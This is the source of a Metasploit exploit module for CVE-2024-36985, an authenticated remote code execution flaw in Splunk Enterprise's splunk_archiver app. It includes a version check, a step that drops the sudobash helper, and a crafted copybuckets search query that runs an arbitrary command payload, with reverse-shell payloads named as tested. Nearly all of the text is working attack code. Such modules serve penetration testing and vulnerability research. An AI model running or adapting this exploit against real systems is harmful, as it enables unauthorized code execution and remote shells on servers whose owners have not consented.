## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Splunk prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Authenticated RCE in Splunk (splunk_archiver app)', 'Description' => %q{ This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise (splunk_archiver application). The flaw is rooted in the unsafe use of a Splunk lookup function, specifically | copybuckets, within the splunk_archiver application, which ultimately leads to the execution of the helper script sudobash with attacker-controlled arguments. The affected versions include any release prior to 9.0.10, as well as versions 9.1.2 through 9.1.5 and 9.2.0 through 9.2.2. }, 'License' => MSF_LICENSE, 'Author' => [ 'Maksim Rogov', # Metasploit Module 'Alex Hordijk', # Vulnerability Discovery 'psytester' # Public Exploit ], 'References' => [ ['CVE', '2024-36985'], ['URL', 'https://advisory.splunk.com/advisories/SVD-2024-0705'], ['URL', 'https://web.archive.org/web/20240914000921/https://psytester.github.io/CVE-2024-36985_SPLUNK_RCE_PoC/'], ], 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD], 'Targets' => [ [ 'Splunk < 9.0.10, 9.1.5, and 9.2.2 / Unix payload', { # Tested with cmd/unix/reverse_bash # Tested with cmd/linux/http/x64/meterpreter/reverse_tcp } ] ], 'Payload' => { 'BadChars' => '" ' }, 'DefaultTarget' => 0, 'DisclosureDate' => '2024-07-01', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'Path to the Splunk App', '/']), OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]), OptString.new('PASSWORD', [ true, 'The password for the specified username']), OptString.new('SPLUNK_HOME', [true, 'Path to the Splunk home directory', '/opt/splunk/']), OptBool.new('CREATE_SUDOBASH', [true, 'Set to false if you are sure that sudobash exists on the target system', true]), OptInt.new('DELAY', [true, 'Delay in seconds to wait for sudobash to be dropped to the filesystem', 3]), ] ) end def check @cookie = splunk_login(datastore['USERNAME'], datastore['PASSWORD']) version = splunk_home_version(@cookie) if version <= Rex::Version.new('9.0.9') || version.between?(Rex::Version.new('9.1.0'), Rex::Version.new('9.1.4')) || version.between?(Rex::Version.new('9.2.0'), Rex::Version.new('9.2.1')) all_apps = get_apps(@cookie) return CheckCode::Detected("Exploitable version found: #{version}, but splunk_archiver app was not found") if !all_apps.key?('splunk_archiver') return CheckCode::Detected("Exploitable version found: #{version}, but splunk_archiver app is disabled") if all_apps['splunk_archiver'][:enabled] == false return CheckCode::Appears("Exploitable version found: #{version}, splunk_archiver app is enabled") end return CheckCode::Safe("Non-vulnerable version found: #{version}") if !version.nil? return CheckCode::Unknown('Target does not appear to be a Splunk instance') end # remove duplicate slashes def normalize_path(path) path.gsub(%r{/+}, '/') end def get_json_payload(payload) env_name = Rex::Text.rand_text_alpha_upper(8..16) provider = Rex::Text.rand_text_alphanumeric(8..16) # The payload is double-escaped because the entire JSON object must be passed as a literal string value inside the json="..." splunk query. { 'vixes' => {}, providers: { provider => { 'command.arg.1' => normalize_path("#{datastore['SPLUNK_HOME']}/etc/apps/splunk_archiver/java-bin/jars/sudobash"), 'command.arg.2' => "-c $#{env_name}", "env.#{env_name}" => payload } } }.to_json.to_json end def create_sudobash print_status('Sending sudobash create request...') query = '| archivebuckets forcerun=1' search(@target_app, query, @cookie) print_good('sudobash create request has been sent!') print_status('Sleep for 3 seconds before it is dropped on the filesystem...') Rex::ThreadSafe.sleep(datastore['DELAY']) print_good('Sleep Completed') end def trigger_exploit print_status('Sending trigger exploit request...') json_payload = get_json_payload(payload.encoded) query = "| copybuckets json=#{json_payload}" search(@target_app, query, @cookie) end def exploit if @cookie.nil? @cookie = splunk_login(datastore['USERNAME'], datastore['PASSWORD']) end @target_app = get_random_app(@cookie, enabled: true) if datastore['CREATE_SUDOBASH'] == true create_sudobash end trigger_exploit end end